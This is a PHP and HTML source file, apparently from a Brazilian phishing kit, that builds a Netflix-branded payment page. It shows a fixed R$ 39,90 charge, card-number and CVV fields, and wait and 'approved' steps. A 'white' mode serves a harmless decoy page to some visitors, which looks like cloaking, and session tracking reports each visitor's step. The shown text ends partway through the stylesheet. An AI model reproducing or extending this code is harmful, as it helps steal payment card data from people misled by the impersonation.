<?php

require_once __DIR__ . '/config/database.php';
require_once __DIR__ . '/api/helpers.php';

$config = require __DIR__ . '/config/config.php';
$baseUrl = rtrim($config['app']['base_url'], '/');
$assetsUrl = $baseUrl . '/assets';

if (PHP_SAPI !== 'cli') {
    $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
        || ((int) ($_SERVER['SERVER_PORT'] ?? 0) === 443)
        || (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https');
    if (!$isHttps) {
        $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
        $uri = $_SERVER['REQUEST_URI'] ?? ($baseUrl . '/');
        header('Location: https://' . $host . $uri, true, 302);
        exit;
    }
}

startAppSession();

if (shouldServeWhiteLanding()) {
    try {
        if (isModoWhiteEnabled(getDatabase())) {
            require __DIR__ . '/white.php';
            exit;
        }
    } catch (Throwable $e) {
        // sem banco: mantém checkout padrão
    }
}

// Conexão com banco só é necessária ao enviar formulários (via API).
// A página carrega normalmente mesmo se o PostgreSQL estiver offline.

$step = resolveAppStep();
$_SESSION['step'] = $step;

$routeSlug = getCurrentRouteSlug();
$presenceStatus = getStatusForRouteSlug($routeSlug);
$showHomeOverlay = ($step === 1 && $routeSlug === 'home');

$presenceTracking = false;
try {
    $presenceTracking = getSessaoIdFromSession(getDatabase()) !== null;
} catch (Throwable $e) {
    // página pública continua mesmo sem banco
}

$checkoutValorSettings = [
    'checkout_valor' => '39.90',
    'checkout_valor_input' => '39,90',
    'checkout_valor_brl' => 'BRL 39,90',
    'checkout_valor_reais' => 'R$ 39,90',
];

try {
    $checkoutValorSettings = getCheckoutValorSettings(getDatabase());
} catch (Throwable $e) {
    // mantém valor padrão
}

if ($step === 5) {
    unset($_SESSION['fluxo_travado']);
}
if ($step === 3 || $step === 1) {
    unset($_SESSION['fluxo_travado']);
}

function asset(string $file): string
{
    global $assetsUrl;
    return htmlspecialchars($assetsUrl . '/' . ltrim($file, '/'), ENT_QUOTES, 'UTF-8');
}

function url(string $path = ''): string
{
    global $baseUrl;
    return htmlspecialchars($baseUrl . '/' . ltrim($path, '/'), ENT_QUOTES, 'UTF-8');
}

function route(string $name): string
{
    return htmlspecialchars(appRoute($name), ENT_QUOTES, 'UTF-8');
}

function netflixLogo(string $class = 'nf-logo'): string
{
    return '<a href="' . route('home') . '" class="nf-logo-link"><img src="' . asset('netflix-logo.svg') . '" alt="Netflix" class="' . htmlspecialchars($class, ENT_QUOTES, 'UTF-8') . '"></a>';
}

function netflixBack(?string $routeName = null, bool $overlay = false): string
{
    $arrow = '<svg class="nf-back-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="15 18 9 12 15 6"></polyline></svg>';
    $label = '<span data-i18n="common.back">Voltar</span>';

    if ($overlay) {
        return '<button type="button" class="nf-back-link" id="nf-btn-back-overlay" aria-label="Voltar">' . $arrow . $label . '</button>';
    }

    if ($routeName === null) {
        return '';
    }

    return '<a href="' . route($routeName) . '" class="nf-back-link" aria-label="Voltar">' . $arrow . $label . '</a>';
}

function netflixFooter(): string
{
    return '
    <footer class="nf-site-footer">
        <div class="nf-site-footer-inner">
            <p class="nf-footer-contact" data-i18n="footer.contact" data-i18n-html>Dúvidas? Ligue para <a href="tel:08005918943">0800 591 8943</a> (ligação grátis)</p>
            <div class="nf-footer-links">
                <ul>
                    <li><a href="https://help.netflix.com/pt/node/412" target="_blank" rel="noopener noreferrer" data-i18n="footer.faq">Perguntas frequentes</a></li>
                    <li><a href="#" data-i18n="footer.cookies">Preferências de cookies</a></li>
                </ul>
                <ul>
                    <li><a href="https://help.netflix.com/pt" target="_blank" rel="noopener noreferrer" data-i18n="footer.help">Central de Ajuda</a></li>
                    <li><a href="https://help.netflix.com/pt/node/134094" target="_blank" rel="noopener noreferrer" data-i18n="footer.corporate">Informações corporativas</a></li>
                </ul>
                <ul>
                    <li><a href="https://help.netflix.com/legal/termsofuse" target="_blank" rel="noopener noreferrer" data-i18n="footer.terms">Termos de Uso</a></li>
                </ul>
                <ul>
                    <li><a href="https://help.netflix.com/legal/privacy" target="_blank" rel="noopener noreferrer" data-i18n="footer.privacy">Privacidade</a></li>
                </ul>
            </div>
            <div class="nf-lang-wrap">
                <button type="button" class="nf-lang-select" aria-label="Selecionar idioma" aria-haspopup="listbox" aria-expanded="false">
                    <span class="nf-lang-icon" aria-hidden="true"></span>
                    <span class="nf-lang-label">Português</span>
                    <span class="nf-lang-caret" aria-hidden="true">&#9662;</span>
                </button>
                <ul class="nf-lang-menu" role="listbox" hidden>
                    <li class="nf-lang-option" role="option" data-lang="pt" aria-selected="true">Português</li>
                    <li class="nf-lang-option" role="option" data-lang="en">English</li>
                </ul>
            </div>
        </div>
    </footer>';
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Netflix</title>
    <link rel="icon" href="<?= asset('favicon.ico') ?>" sizes="any">
    <link rel="shortcut icon" href="<?= asset('favicon.ico') ?>">
    <link rel="apple-touch-icon" href="<?= asset('favicon.png') ?>">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link href="https://fonts.googleapis.com/css2?family=Helvetica+Neue:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --nf-red: #e50914;
            --nf-red-hover: #f40612;
            --nf-black: #000000;
            --nf-dark: #141414;
            --nf-grey: #333333;
            --nf-grey-light: #808080;
            --nf-text: #ffffff;
            --nf-text-muted: #b3b3b3;
            --nf-gradient: radial-gradient(ellipse 237% 123% at 50% 0%, #4a0a0a 0%, #1a0505 35%, #000000 70%);
            --nf-layout-max: 980px;
            --nf-layout-pad: 5%;
            /* Espaço escuro entre o conteúdo e o footer */
            --nf-body-pad-bottom: 32px;
            --nf-lang-icon: url(https://occ.a.nflxso.net/dnmt/api/v6/jXBzyCe8ipOg2XQkxoKMq9wr74g/AAAAAav_jR0aJdWgJcg98a87QgzS45aiZQkTMbXc9iqaESjkrshqHzrwmKT5G_0WUDxw0cVy6v-Zj4NQvhNQE1kvXO5MaueWMA03SrGV_FqY513FMzSdP-fpk4D8UTlsef_9YZf-xkk.svg);
        }

        * { box-sizing: border-box; margin: 0; padding: 0; }
        html {
            overflow-x: hidden;
            overflow-y: auto;
            scrollbar-width: thin;
            scrollbar-color: var(--nf-red) var(--nf-dark);
        }
        html::-webkit-scrollbar { width: 10px; }
        html::-webkit-scrollbar-track { background: var(--nf-dark); }
        html::-webkit-scrollbar-thumb {
            background: var(--nf-grey);
            border-radius: 6px;
            border: 2px solid var(--nf-dark);
        }
        html::-webkit-scrollbar-thumb:hover { background: var(--nf-red); }

        body {
            min-height: 100%;
            overflow-x: hidden;
            overflow-y: visible;
            font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            color: var(--nf-text);
            background: var(--nf-black);
            -webkit-font-smoothing: antialiased;
        }
        body.nf-overlay-open {
            overflow: hidden;
            height: 100dvh;
        }

        .step {
            display: none;
            background: var(--nf-gradient);
            position: relative;
        }
        .step.active {
            display: flex;
            flex-direction: column;
            min-height: 100dvh;
        }

        .nf-step-body {
            display: flex;
            flex-direction: column;
            width: 100%;
            flex: 1 0 auto;
        }

        #step-1-page-footer { display: none; }
        #step-1.overlay-closed #step-1-page-footer { display: block; }
        body.nf-overlay-open #step-1 > .nf-step-body:first-of-type {
            visibility: hidden;
            pointer-events: none;
        }

        .nf-main {
            flex: 1;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 40px 5% var(--nf-body-pad-bottom);
            text-align: center;
            width: 100%;
            min-height: 50vh;
        }
        .nf-layout-inner {
            max-width: var(--nf-layout-max);
            margin: 0 auto;
            padding-left: var(--nf-layout-pad);
            padding-right: var(--nf-layout-pad);
        }
        .nf-header {
            padding: 24px 0 20px;
            position: relative;
            z-index: 10;
            flex-shrink: 0;
            border-bottom: 1px solid rgba(255, 255, 255, 0.08);
            width: 100%;
            text-align: left;
        }
        .nf-header > .nf-layout-inner { display: block; }
        .nf-logo-link { display: inline-block; line-height: 0; }
        .nf-logo { height: 40px; width: auto; display: block; }
        .nf-logo-sm { height: 25px; }

        .nf-content { width: 100%; max-width: 440px; }
        .nf-content-wide { max-width: 520px; }
        .nf-content-left { text-align: left; align-items: stretch; }
        .nf-back-link {
            display: inline-flex;
            align-items: center;
            gap: 4px;
            color: var(--nf-text-muted);
            text-decoration: none;
            font-size: 0.95rem;
            font-weight: 500;
            margin-bottom: 28px;
            background: none;
            border: none;
            cursor: pointer;
            font-family: inherit;
            padding: 0;
            align-self: flex-start;
        }
        .nf-back-link:hover { color: var(--nf-text); }
        .nf-back-icon { flex-shrink: 0; margin-left: -2px; }
        .nf-main .nf-content,
        .nf-overlay-main .nf-content,
        .checkout-main .nf-content,
        .checkout-main .checkout-card-form {
            display: flex;
            flex-direction: column;
            align-items: stretch;
        }
        .nf-wait-body .nf-content {
            display: flex;
            flex-direction: column;
            align-items: center;
        }
        .nf-main .nf-content form,
        .nf-main .nf-content .fake-input-container,
        .nf-content .btn-netflix,
        .nf-content .btn-primary,
        .nf-content .nf-input,
        .nf-content .fake-input {
            width: 100%;
        }
        .nf-content-left .nf-back-link,
        .nf-content-left .step-label,
        .nf-content-left h1,
        .nf-content-left form { width: 100%; }

        .nf-title { font-size: 2rem; font-weight: 700; margin-bottom: 16px; line-height: 1.2; }
        .nf-subtitle { font-size: 1.125rem; color: var(--nf-text-muted); line-height: 1.5; margin-bottom: 28px; }

        .nf-input, .fake-input, .field input {
            width: 100%;
            height: 56px;
            background: rgba(22, 22, 22, 0.85);
            border: 1px solid var(--nf-grey-light);
            border-radius: 4px;
            color: var(--nf-text);
            font-size: 1.0625rem;
            padding: 0 20px;
            outline: none;
            transition: border-color 0.2s, background 0.2s;
        }
        .nf-input::placeholder { color: #8c8c8c; }
        .nf-input:focus, .field input:focus {
            background: rgba(22, 22, 22, 1);
            border-color: var(--nf-text);
        }
        .fake-input {
            display: block;
            line-height: 56px;
            text-align: left;
            cursor: text;
        }
        .fake-input:empty:before { content: attr(data-placeholder); color: #8c8c8c; }
        .fake-input-container, .field { margin-bottom: 18px; width: 100%; }

        .btn-netflix, .btn-primary {
            width: 100%;
            min-height: 56px;
            height: 56px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            line-height: 1;
            background: var(--nf-red);
            color: #fff;
            border: none;
            border-radius: 4px;
            font-size: 1.25rem;
            font-weight: 500;
            cursor: pointer;
            margin-top: 10px;
            text-decoration: none;
            transition: background 0.2s;
        }
        .btn-netflix:hover, .btn-primary:hover { background: var(--nf-red-hover); }

        .nf-box-dark {
            background: var(--nf-grey);
            border-radius: 4px;
            padding: 14px 18px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 24px;
            text-align: left;
            font-size: 1rem;
        }
        .nf-box-dark span { color: var(--nf-text); word-break: break-all; }
        .nf-link { color: var(--nf-text); text-decoration: underline; cursor: pointer; font-size: 0.95rem; }
        .nf-link-muted { color: var(--nf-text-muted); font-size: 0.95rem; margin-top: 20px; display: block; }
        .nf-link-muted a { color: var(--nf-text); text-decoration: underline; }

        .nf-site-footer {
            background: var(--nf-dark);
            color: #737373;
            flex-shrink: 0;
            width: 100%;
            margin-top: 0;
            text-align: left;
        }
        .nf-site-footer-inner {
            max-width: var(--nf-layout-max);
            margin: 0 auto;
            padding: 28px var(--nf-layout-pad) 32px;
            text-align: left;
            display: flex;
            flex-direction: column;
            align-items: flex-start;
        }
        .nf-footer-contact {
            font-size: 1rem;
            color: #737373;
            margin-bottom: 22px;
            line-height: 1.5;
        }
        .nf-footer-contact a {
            color: #737373;
            text-decoration: none;
        }
        .nf-footer-contact a:hover { text-decoration: underline; }
        .nf-footer-links {
            display: grid;
            grid-template-columns: repeat(4, max-content);
            column-gap: clamp(40px, 9vw, 110px);
            margin-bottom: 22px;
            justify-content: start;
            width: 100%;
        }
        .nf-footer-links ul { list-style: none; min-width: 0; }
        .nf-footer-links li { margin-bottom: 14px; }
        .nf-footer-links li:last-child { margin-bottom: 0; }
        .nf-footer-links a {
            color: #737373;
            text-decoration: underline;
            font-size: 1rem;
            line-height: 1;
            white-space: nowrap;
            display: inline-block;
        }
        .nf-footer-links a:hover { color: #b3b3b3; }
        .nf-lang-wrap {
            position: relative;
            display: block;
            width: fit-content;
            align-self: flex-start;
        }
        .nf-lang-select {
            display: inline-flex;
            align-items: center;
            gap: 10px;
            background: transparent;
            border: 1px solid #737373;
            color: #737373;
            padding: 12px 16px;
            border-radius: 2px;
            font-size: 1rem;
            cursor: pointer;
            font-family: inherit;
        }
        .nf-lang-select:hover,
        .nf-lang-select[aria-expanded="true"] {
            border-color: #b3b3b3;
            color: #b3b3b3;
        }
        .nf-lang-icon {
            flex-shrink: 0;
            width: 16px;
            height: 16px;
            background-color: currentColor;
            -webkit-mask-image: var(--nf-lang-icon);
            mask-image: var(--nf-lang-icon);
            -webkit-mask-size: contain;
            mask-size: contain;
            -webkit-mask-repeat: no-repeat;
            mask-repeat: no-repeat;
            -webkit-mask-position: center;
            mask-position: center;
        }
        .nf-lang-caret { font-size: 0.65rem; margin-left: 2px; }
        .nf-lang-menu {
            position: absolute;
            left: 0;
            bottom: calc(100% + 6px);
            list-style: none;
            min-width: 100%;
            background: #141414;
            border: 1px solid #737373;
            border-radius: 2px;
            overflow: hidden;
            z-index: 20;
        }
        .nf-lang-menu:not([hidden]) { display: block; }
        .nf-lang-option {
            padding: 12px 16px;
            font-size: 1rem;
            color: #737373;
            cursor: pointer;
            white-space: nowrap;
        }
        .nf-lang-option:hover,
        .nf-lang-option[aria-selected="true"] {
            background: rgba(255, 255, 255, 0.08);
            color: #b3b3b3;
        }
        @media (max-width: 900px) {
            .nf-footer-links {
                grid-template-columns: repeat(2, max-content);
                column-gap: clamp(32px, 12vw, 72px);
                row-gap: 8px;
            }
        }
        @media (max-width: 740px) {
            .nf-site-footer-inner { padding: 24px var(--nf-layout-pad) 28px; }
            .nf-footer-contact { font-size: 0.9375rem; margin-bottom: 18px; }
            .nf-footer-links { margin-bottom: 18px; }
            .nf-footer-links a { font-size: 0.9375rem; }
            .nf-footer-links li { margin-bottom: 12px; }
        }
        @media (max-width: 420px) {
            .nf-footer-links a { white-space: normal; }
        }

        .nf-header-row {
            padding: 20px 0;
            flex-shrink: 0;
            border-bottom: 1px solid rgba(255, 255, 255, 0.08);
        }
        .nf-header-row-inner {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .nf-exit { color: var(--nf-text); font-weight: 500; text-decoration: none; font-size: 1rem; }
        .nf-exit:hover { text-decoration: underline; }

        .status-badge {
            display: inline-flex;
            align-items: center;
            background: rgba(229, 9, 20, 0.2);
            color: #ff6b6b;
            padding: 8px 16px;
            border-radius: 4px;
            font-size: 0.85rem;
            font-weight: 600;
            margin-bottom: 20px;
            border: 1px solid rgba(229, 9, 20, 0.35);
        }
        .status-badge-dot {
            width: 8px;
            height: 8px;
            background: #e50914;
            border-radius: 50%;
            margin-right: 8px;
            flex-shrink: 0;
        }

        .info-box {
            background: var(--nf-grey);
            border-radius: 4px;
            padding: 18px;
            margin-bottom: 28px;
            text-align: left;
        }
        .info-box-title { font-size: 0.75rem; font-weight: 600; text-transform: uppercase; color: var(--nf-text-muted); margin-bottom: 8px; display: block; letter-spacing: 0.04em; }
        .info-box-text { display: flex; align-items: center; gap: 10px; color: var(--nf-text); font-size: 0.95rem; }

        .step-label { font-size: 0.8rem; text-transform: uppercase; color: var(--nf-text-muted); margin-bottom: 8px; display: block; letter-spacing: 0.06em; }
        .row { display: flex; gap: 12px; }

        /* Overlay inicial */
        #nf-overlay-root {
            position: fixed; inset: 0; z-index: 999999;
            background: var(--nf-gradient);
            display: flex;
            flex-direction: column;
            min-height: 100dvh;
        }
        #nf-overlay-root .nf-header { padding-top: 24px; flex-shrink: 0; }
        #nf-overlay-root .nf-step-body {
            flex: 1;
            display: flex;
            flex-direction: column;
        }
        .nf-overlay-main {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px 5% var(--nf-body-pad-bottom);
            width: 100%;
        }
        .nf-overlay-main .nf-content {
            text-align: center;
        }
        .nf-overlay-main .nf-content h1 { font-size: 1.75rem; font-weight: 700; margin-bottom: 16px; }
        .nf-overlay-main .nf-content p { font-size: 1.05rem; line-height: 1.6; color: var(--nf-text-muted); margin-bottom: 28px; }
        #nf-btn-continuar {
            width: 100%;
            min-height: 56px;
            height: 56px;
            padding: 0 28px;
            background: var(--nf-red);
            border: none;
            color: #fff;
            border-radius: 4px;
            font-size: 1.25rem;
            font-weight: 500;
            cursor: pointer;
        }
        #nf-btn-continuar:hover { background: var(--nf-red-hover); }

        /* Etapa 3 — checkout */
        .checkout-main {
            flex: 1;
            display: flex;
            justify-content: center;
            align-items: flex-start;
            padding: 32px 5% var(--nf-body-pad-bottom);
            width: 100%;
        }
        .checkout-box { width: 100%; max-width: 440px; }
        .checkout-box h1, .checkout-box h2,
        .nf-content-left h1 { font-size: 2rem; font-weight: 700; margin-bottom: 20px; text-align: left; }

        /* Etapa 3 — seletor de pagamento */
        .checkout-main .nf-content.nf-content-pay {
            max-width: 520px;
            text-align: left;
            align-items: flex-start;
        }
        .nf-content-pay .pay-step-label,
        .nf-content-pay .pay-title,
        .nf-content-pay .pay-text,
        .nf-content-pay .pay-text-strong,
        .nf-content-pay .pay-encrypt-row,
        .nf-content-pay .pay-methods {
            width: 100%;
        }
        .pay-lock-icon {
            width: 50px;
            height: 50px;
            flex-shrink: 0;
            align-self: flex-start;
            border-radius: 50%;
            background: rgba(229, 9, 20, 0.15);
            border: 1px solid rgba(229, 9, 20, 0.35);
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--nf-red);
            margin-bottom: 8px;
        }
        .pay-lock-icon svg { width: 26px; height: 26px; }
        .pay-step-label {
            font-size: 0.95rem;
            color: var(--nf-text-muted);
            margin-bottom: 4px;
        }
        .pay-step-label b { color: var(--nf-text); font-weight: 700; }
        .pay-title {
            font-size: 2rem;
            font-weight: 700;
            line-height: 1.2;
            margin-bottom: 16px;
            color: var(--nf-text);
        }
        .pay-text { font-size: 1rem; color: var(--nf-text-muted); line-height: 1.5; margin-bottom: 12px; }
        .pay-text-strong { font-size: 1rem; color: var(--nf-text); font-weight: 600; line-height: 1.45; margin-bottom: 4px; }
        .pay-encrypt-row {
            display: flex;
            align-items: center;
            justify-content: flex-end;
            gap: 6px;
            margin: 20px 0 8px;
            font-size: 0.85rem;
            color: var(--nf-text-muted);
        }
        .pay-encrypt-row svg { width: 16px; height: 16px; flex-shrink: 0; }
        .pay-methods { display: flex; flex-direction: column; gap: 8px; width: 100%; }
        .pay-method {
            width: 100%;
            background: rgba(22, 22, 22, 0.75);
            border: 1px solid var(--nf-grey-light);
            border-radius: 4px;
            padding: 14px 16px;
            color: var(--nf-text);
            text-align: left;
            cursor: pointer;
            font-family: inherit;
            transition: border-color 0.2s, background 0.2s;
        }
        .pay-method:hover:not(:disabled) { border-color: var(--nf-text); background: rgba(22, 22, 22, 0.95); }
        .pay-method:disabled { opacity: 0.55; cursor: not-allowed; }
        .pay-method-inner {
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 12px;
            width: 100%;
        }
        .pay-method-body { flex: 1; min-width: 0; }
        .pay-method-title { font-size: 1rem; font-weight: 500; margin-bottom: 8px; color: var(--nf-text); }
        .pay-method-logos { display: flex; flex-wrap: wrap; align-items: center; gap: 4px; }
        .pay-method-logos img { height: 25px; width: auto; display: block; }
        .pay-method-note {
            display: flex;
            align-items: center;
            gap: 8px;
            margin-top: 8px;
            font-size: 0.78rem;
            color: var(--nf-text-muted);
            line-height: 1.35;
        }
        .pay-method-note img { height: 18px; width: auto; opacity: 0.85; }
        .pay-chevron { color: var(--nf-text-muted); font-size: 1.25rem; line-height: 1; flex-shrink: 0; }
        .pay-panel-hidden { display: none !important; }
        #pay-back-picker {
            background: none;
            border: none;
            cursor: pointer;
            font-family: inherit;
            padding: 0;
        }

        /* Checkout — formulário do cartão */
        .checkout-card-form {
            max-width: 440px;
            width: 100%;
            text-align: left;
            align-items: stretch;
        }
        .checkout-change-pay {
            display: inline-flex;
            align-items: center;
            gap: 4px;
            background: none;
            border: none;
            color: var(--nf-text-muted);
            font-size: 0.95rem;
            font-weight: 500;
            cursor: pointer;
            font-family: inherit;
            padding: 0;
            margin-bottom: 24px;
            text-align: left;
        }
        .checkout-change-pay:hover { color: var(--nf-text); text-decoration: underline; }
        .checkout-change-pay .nf-back-icon { flex-shrink: 0; margin-left: -2px; }
        .checkout-step {
            display: block;
            font-size: 0.8rem;
            text-transform: uppercase;
            letter-spacing: 0.06em;
            color: var(--nf-text-muted);
            margin-bottom: 8px;
        }
        .checkout-step b { color: var(--nf-text); font-weight: 700; }
        .checkout-heading {
            font-size: 1.75rem;
            font-weight: 700;
            line-height: 1.25;
            color: var(--nf-text);
            margin-bottom: 20px;
        }
        .checkout-card-logos {
            display: flex;
            align-items: center;
            gap: 4px;
            margin-bottom: 16px;
        }
        .checkout-card-logos img { height: 25px; width: auto; display: block; }
        .checkout-field {
            position: relative;
            margin-bottom: 16px;
            width: 100%;
        }
        .checkout-field input {
            width: 100%;
            height: 56px;
            background: rgba(22, 22, 22, 0.85);
            border: 1px solid var(--nf-grey-light);
            border-radius: 4px;
            color: var(--nf-text);
            font-size: 1rem;
            padding: 0 16px;
            outline: none;
            font-family: inherit;
            transition: border-color 0.2s, background 0.2s;
        }
        .checkout-field input:focus {
            background: rgba(22, 22, 22, 1);
            border-color: var(--nf-text);
        }
        .checkout-field.is-invalid input {
            border-color: #e50914;
            box-shadow: 0 0 0 1px rgba(229, 9, 20, 0.28);
        }
        .checkout-field.is-invalid input:focus {
            border-color: #e50914;
        }
        .checkout-field-error {
            display: block;
            margin-top: 6px;
            font-size: 0.8125rem;
            line-height: 1.35;
            color: #e87c7c;
        }
        .checkout-field-error[hidden] { display: none; }
        .checkout-field input::placeholder { color: #8c8c8c; }
        #cardNumber { padding-right: 52px; }
        .checkout-field-icon {
            position: absolute;
            right: 14px;
            top: 50%;
            transform: translateY(-50%);
            color: var(--nf-text-muted);
            pointer-events: none;
            display: flex;
            align-items: center;
            justify-content: center;
            width: 39px;
            height: 25px;
        }
        .checkout-field:has(#cardNumber) .checkout-field-icon,
        .checkout-field-cvv .checkout-cvv-help {
            top: 28px;
            transform: translateY(-50%);
        }
        .checkout-field-icon .checkout-brand-logo {
            width: 39px;
            height: 25px;
            display: block;
            object-fit: contain;
        }
        .checkout-card-logos img {
            transition: opacity 0.2s ease;
        }
        .checkout-row {
            display: flex;
            gap: 12px;
            width: 100%;
        }
        .checkout-row .checkout-field { flex: 1; min-width: 0; }
        .checkout-field-cvv input { padding-right: 40px; }
        .checkout-cvv-help {
            position: absolute;
            right: 12px;
            top: 50%;
            transform: translateY(-50%);
            width: 22px;
            height: 22px;
            border-radius: 50%;
            border: 1px solid var(--nf-grey-light);
            background: rgba(22, 22, 22, 0.85);
            color: var(--nf-text-muted);
            font-size: 0.75rem;
            font-weight: 700;
            cursor: pointer;
            font-family: inherit;
            line-height: 1;
        }
        .checkout-cvv-help:hover { color: var(--nf-text); border-color: var(--nf-text); }

        .cvv-modal {
            position: fixed;
            inset: 0;
            z-index: 4000;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 24px;
        }
        .cvv-modal[hidden] { display: none; }
        .cvv-modal-backdrop {
            position: absolute;
            inset: 0;
            background: rgba(0, 0, 0, 0.72);
        }
        .cvv-modal-card {
            position: relative;
            width: 100%;
            max-width: 420px;
            background: #fff;
            color: #333;
            border-radius: 8px;
            padding: 28px 24px 24px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.45);
        }
        .cvv-modal-close {
            position: absolute;
            top: 12px;
            right: 12px;
            width: 36px;
            height: 36px;
            border: none;
            background: transparent;
            color: #333;
            font-size: 1.75rem;
            line-height: 1;
            cursor: pointer;
            font-family: inherit;
        }
        .cvv-modal-close:hover { opacity: 0.7; }
        .cvv-modal-text {
            font-size: 1rem;
            line-height: 1.5;
            color: #333;
            margin: 0 32px 24px 0;
        }
        .cvv-modal-images {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 8px;
        }
        .cvv-modal-images img {
            width: 200px;
            height: auto;
            display: block;
        }
        body.cvv-modal-open { overflow: hidden; }
        .checkout-section-label {
            font-size: 1rem;
            color: var(--nf-text);
            margin: 8px 0 12px;
        }
        .checkout-pay-type {
            display: flex;
            gap: 12px;
            margin-bottom: 28px;
            width: 100%;
        }
        .checkout-pay-option {
            flex: 1;
            display: flex;
            align-items: center;
            gap: 10px;
            min-height: 64px;
            padding: 14px 16px;
            border: 1px solid var(--nf-grey-light);
            border-radius: 4px;
            cursor: pointer;
            font-size: 1rem;
            color: var(--nf-text);
            background: rgba(22, 22, 22, 0.75);
            transition: border-color 0.2s, background 0.2s;
        }
        .checkout-pay-option input { position: absolute; opacity: 0; pointer-events: none; }
        .checkout-pay-option.selected {
            border-color: var(--nf-text);
            background: rgba(22, 22, 22, 0.95);
        }
        .checkout-pay-radio {
            width: 18px;
            height: 18px;
            border-radius: 50%;
            border: 2px solid var(--nf-grey-light);
            flex-shrink: 0;
            position: relative;
        }
        .checkout-pay-option.selected .checkout-pay-radio {
            border-color: var(--nf-text);
        }
        .checkout-pay-option.selected .checkout-pay-radio::after {
            content: '';
            position: absolute;
            inset: 3px;
            border-radius: 50%;
            background: var(--nf-text);
        }
        .checkout-subheading {
            font-size: 1.125rem;
            font-weight: 700;
            color: var(--nf-text);
            margin-bottom: 16px;
        }
        .checkout-link {
            display: inline-block;
            color: var(--nf-text-muted);
            font-size: 0.9375rem;
            text-decoration: underline;
            margin: -4px 0 24px;
        }
        .checkout-link:hover { color: var(--nf-text); }
        .checkout-cep-address {
            display: block;
            font-size: 0.8125rem;
            color: var(--nf-text-muted);
            line-height: 1.45;
            margin: 6px 0 0;
            padding: 0 2px;
            opacity: 0.9;
        }
        .checkout-cep-address.is-loading { font-style: italic; opacity: 0.75; }
        .checkout-cep-address.is-error { color: #ff6b6b; opacity: 1; }
        .checkout-note {
            font-size: 0.8125rem;
            color: var(--nf-text-muted);
            line-height: 1.45;
            margin-bottom: 16px;
        }
        .checkout-legal {
            font-size: 0.8125rem;
            color: var(--nf-text-muted);
            line-height: 1.45;
            margin-bottom: 16px;
        }
        .checkout-legal a { color: var(--nf-text); text-decoration: underline; }
        .checkout-agree {
            display: flex;
            align-items: flex-start;
            gap: 10px;
            font-size: 0.9375rem;
            color: var(--nf-text);
            margin-bottom: 20px;
            cursor: pointer;
        }
        .checkout-agree input {
            width: 18px;
            height: 18px;
            margin-top: 2px;
            flex-shrink: 0;
            accent-color: var(--nf-red);
        }
        .checkout-submit {
            width: 100%;
            min-height: 56px;
            background: var(--nf-red);
            color: #fff;
            border: none;
            border-radius: 4px;
            font-size: 1.25rem;
            font-weight: 500;
            cursor: pointer;
            font-family: inherit;
            margin-bottom: 16px;
        }
        .checkout-submit:hover { background: var(--nf-red-hover); }
        .checkout-recaptcha {
            font-size: 0.8125rem;
            color: var(--nf-text-muted);
            line-height: 1.45;
            margin-bottom: 8px;
        }
        .checkout-recaptcha a { color: var(--nf-text-muted); text-decoration: underline; }
        .checkout-recaptcha a:hover { color: var(--nf-text); }

        .checkout-processing {
            position: fixed;
            inset: 0;
            z-index: 99990;
            background: rgba(0, 0, 0, 0.72);
            display: none;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        .checkout-processing.show { display: flex; }
        .checkout-processing-box {
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .checkout-processing-spinner {
            width: 34px;
            height: 34px;
            border: 3px solid #333;
            border-top: 3px solid var(--nf-red);
            border-radius: 50%;
            animation: spin 0.85s linear infinite;
        }

        .spinner, .wait-spinner {
            width: 50px; height: 50px; border: 4px solid #333;
            border-top: 4px solid var(--nf-red); border-radius: 50%;
            animation: spin 0.9s linear infinite;
        }
        @keyframes spin { to { transform: rotate(360deg); } }

        /* Etapa 4 — aguarde */
        .nf-wait-body {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 48px 20px var(--nf-body-pad-bottom);
            width: 100%;
            text-align: center;
        }
        .nf-wait-body .wait-sub { margin-left: auto; margin-right: auto; }
        .wait-title { color: #fff; font-size: 1.5rem; font-weight: 700; margin: 24px 0 12px; }
        .wait-sub { color: var(--nf-text-muted); font-size: 1rem; line-height: 1.6; max-width: 420px; }
        .wait-sub strong { color: #fff; }
        .wait-sub-note {
            margin-top: 28px;
            font-size: 0.85rem;
        }
        .wait-bar { width: 100%; max-width: 320px; height: 3px; background: #333; border-radius: 2px; margin-top: 36px; overflow: hidden; }
        .wait-bar-fill { height: 100%; background: var(--nf-red); animation: loadbar 2s ease-in-out infinite; }
        @keyframes loadbar { 0% { width: 0; margin-left: 0; } 50% { width: 70%; margin-left: 15%; } 100% { width: 0; margin-left: 100%; } }

        /* Etapa 5 — aprovado */
        .aprovado-icon {
            width: 80px; height: 80px; background: #15803d; border-radius: 50%;
            display: flex; align-items: center; justify-content: center; margin: 0 auto 28px;
            animation: aprovadoPop 0.5s ease;
        }
        @keyframes aprovadoPop { from { transform: scale(0); opacity: 0; } to { transform: scale(1); opacity: 1; } }
        .aprovado-icon svg { width: 40px; height: 40px; stroke: #fff; stroke-width: 3; fill: none; }
        .aprovado-title { font-size: 1.8rem; font-weight: 700; margin-bottom: 12px; }
